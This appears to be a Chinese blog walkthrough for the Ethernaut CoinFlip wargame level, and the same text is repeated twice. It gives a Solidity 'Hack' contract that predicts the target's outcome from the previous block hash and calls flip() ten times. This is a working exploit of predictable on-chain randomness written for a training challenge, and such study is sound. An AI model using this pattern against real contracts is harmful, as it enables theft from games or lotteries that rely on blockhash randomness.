
Subscribe to hujiawei

Subscribe to hujiawei
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
1.使用上述链接
2.创建CoinFlip.sol文件并写入代码,代码如下:
pragma solidity ^0.6.0;
interface CoinFlip{ function flip(bool _guess) external returns (bool);} contract Hack{ CoinFlip coin_flip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool public side; constructor (address _addr) public{ coin_flip=CoinFlip(_addr); } function hack() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip =uint256(uint256(blockValue)/ FACTOR); side = coinFlip == 1 ? true : false; coin_flip.flip(side); }}
3.如图

4.如图

5.部署到自己对应的合约地址,谷歌浏览器开发则着中输入contract可以找到合约地址。合约地址先择Hack。sol。然后部署。然后连续hack十次。结束。
1.使用上述链接
2.创建CoinFlip.sol文件并写入代码,代码如下:
pragma solidity ^0.6.0;
interface CoinFlip{ function flip(bool _guess) external returns (bool);} contract Hack{ CoinFlip coin_flip; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool public side; constructor (address _addr) public{ coin_flip=CoinFlip(_addr); } function hack() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip =uint256(uint256(blockValue)/ FACTOR); side = coinFlip == 1 ? true : false; coin_flip.flip(side); }}
3.如图

4.如图

5.部署到自己对应的合约地址,谷歌浏览器开发则着中输入contract可以找到合约地址。合约地址先择Hack。sol。然后部署。然后连续hack十次。结束。
No activity yet